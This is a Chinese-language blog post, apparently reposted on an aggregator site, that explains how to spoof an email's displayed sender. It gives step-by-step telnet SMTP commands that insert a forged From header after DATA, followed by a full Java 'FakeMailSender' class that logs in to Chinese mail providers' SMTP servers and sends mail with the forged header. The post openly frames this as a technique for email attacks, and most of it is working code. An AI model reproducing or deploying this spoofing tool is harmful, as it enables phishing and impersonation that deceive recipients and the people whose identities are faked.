java 伪造邮箱地址_java如何实现伪造发信地址---针对于邮件攻击
首先說明一下,現(xiàn)在大多數(shù)人都用oracle的javamail的jar來實(shí)現(xiàn)發(fā)郵件,在這里我不得不承認(rèn)javamail確實(shí)是一款強(qiáng)大的工具,但是,oracle對(duì)它進(jìn)行了底層封裝,對(duì)于開發(fā)者來說是透明的,因此,也許是出于安全的考慮,你是不能夠隨意設(shè)置mail from的。那該怎么辦呢?
一封郵件的底層實(shí)現(xiàn)過程是怎么樣的呢?
在此,以windows系統(tǒng)為例:
1)進(jìn)入字符模式
2)啟動(dòng)telnet程序:telnet smtp.163.com 25
登錄成功后郵件服務(wù)器會(huì)反饋一個(gè)信息“RESPONSE:220 xxxx ESMTP sendmail xxxxx”
3)輸入:HELO abc.cn(想要偽造郵件的地址域名,比如163郵箱:163.com.cn)
系統(tǒng)會(huì)反饋一個(gè)信息“Response: 250 abc.cn Hello [xxx.xxx.xxx.xxx],pleased to meet you”表示郵件系統(tǒng)認(rèn)可
4)輸入:MAIL FROM :xxxx@163.com (不能缺少“:”號(hào),下面同樣,郵件發(fā)送者的地址)
系統(tǒng)反饋信息“Response: 250 2.1.0 …. Sender ok”
注意:此處的地址不能偽造,不然通不過郵箱服務(wù)器的認(rèn)證。
5)輸入: RCPT TO :xxxx@qq.com (郵件接收者的地址)
系統(tǒng)反饋信息“Response: 250 2.1.0 …. Recipient ok”
6)輸入:DATA 回車
from:xxx(這里可以隨意偽造)
to:xxx(這里可以隨意偽造)
(開始輸入郵件正文,完成后一定要“回車”之后輸入“.”號(hào))
.(注意是英文狀態(tài)下的“.”號(hào),表示郵件輸入完畢,最后再“回車”)
7)輸入:
QUIT (郵件內(nèi)容輸入完成,退出)
系統(tǒng)反饋信息“Response: 221 2.0.0 ab.cn closing connection”
到此為止郵件發(fā)送完成
下面就是我用java代碼來進(jìn)行的底層實(shí)現(xiàn):
//郵件
class MyMail {
String from;
String to;
String subject;
String content;
String userName;
String pwd;
public MyMail(String from, String to, String subject, String content, String userName, String pwd) {
this.from = from;
this.to = to;
this.subject = subject;
this.content = content;
this.userName = this.toBASE64(userName);
this.pwd = this.toBASE64(pwd);
}
/**
* 在 MyMail 類中進(jìn)行用戶名、密碼的轉(zhuǎn)碼工作
*/
private String toBASE64(String str) {
return (new sun.misc.BASE64Encoder().encode(str.getBytes()));
}
}
//簡(jiǎn)單的郵件發(fā)送端類,實(shí)現(xiàn)發(fā)送功能
public class FakeMailSender {
private String smtpServer;
private int port = 25;
private Socket socket;
BufferedReader br;
PrintWriter pw;
/**
* 根據(jù)發(fā)件人的郵箱地址確定SMTP郵件服務(wù)器
*/
private void initServer(String from) {
if(from.contains("@163")) {
this.smtpServer = "smtp.163.com";
}else if(from.contains("@126")) {
this.smtpServer = "smtp.126.com";
}else if(from.contains("@sina")) {
this.smtpServer = "smtp.sina.com";
}else if(from.contains("@qq")) {
this.smtpServer = "smtp.qq.com";
}
}
public void sendEmail(MyMail email) {
try {
this.initServer(email.from);
this.socket = new Socket(smtpServer, port);
this.br = this.getReader(socket);
this.pw = this.getWriter(socket); // 開始組裝發(fā)送郵件的命令序列
send_Receive(null);? ? // 接收連接SMTP服務(wù)器成功的信息
send_Receive("ehlo hao");
send_Receive("auth login");
send_Receive(email.userName);
send_Receive(email.pwd);
send_Receive("mail from:");
send_Receive("rcpt to:");
send_Receive("data");
// 郵件內(nèi)容
pw.println("from:" + email.from);
pw.println("to:" + email.to);
// 主題與正文之間一定要空一行,即加上"\r\n"
pw.println("subject:" + email.subject + "\r\n");
// 在控制臺(tái)打印郵件內(nèi)容
System.out.println("from:" + email.from);
System.out.println("to:" + email.to);
System.out.println("subject:" + email.subject + "\r\n");
System.out.println(email.content);
// 郵件正文
pw.println(email.content);
// 一定記得正文以"."結(jié)束
send_Receive(".");
send_Receive("quit");
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (socket != null)
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
/**
*??每發(fā)送一條命令,必須在命令后面加上"\r\n",
*??則同時(shí)打印出smtp郵件服務(wù)器的相應(yīng)狀態(tài)碼
* @param command
*/
private void send_Receive(String command) throws IOException{
if(command != null) {
// 向SMTP郵件服務(wù)器發(fā)送命令,一定要記得加上"\r\n"
pw.print(command + "\r\n");
pw.flush();
System.out.println("用戶 >> " + command);
}
char [] response = new char[1024];
br.read(response);
System.out.println(response);
}
/**
* 獲取 Socket 的輸出流
*/
private PrintWriter getWriter(Socket socket) throws IOException {
OutputStream socketOut = socket.getOutputStream();
return new PrintWriter(socketOut, true);
}
/**
* 獲取 Socket 的輸入流
*/
private BufferedReader getReader(Socket socket) throws IOException {
InputStream socketIn = socket.getInputStream();
return new BufferedReader(new InputStreamReader(socketIn));
}
// 測(cè)試
public static void main(String[] args) {
MyMail email = new MyMail("xxxx@163.com", "xxxxx@qq.com", "test", "this is a joke for fun!", "xxxx", "xxxxx");
new FakeMailSender().sendEmail(email);
}
}
到此結(jié)束
總結(jié)
以上是生活随笔為你收集整理的java 伪造邮箱地址_java如何实现伪造发信地址---针对于邮件攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数据库打不开的解决办法
- 下一篇: mouse without border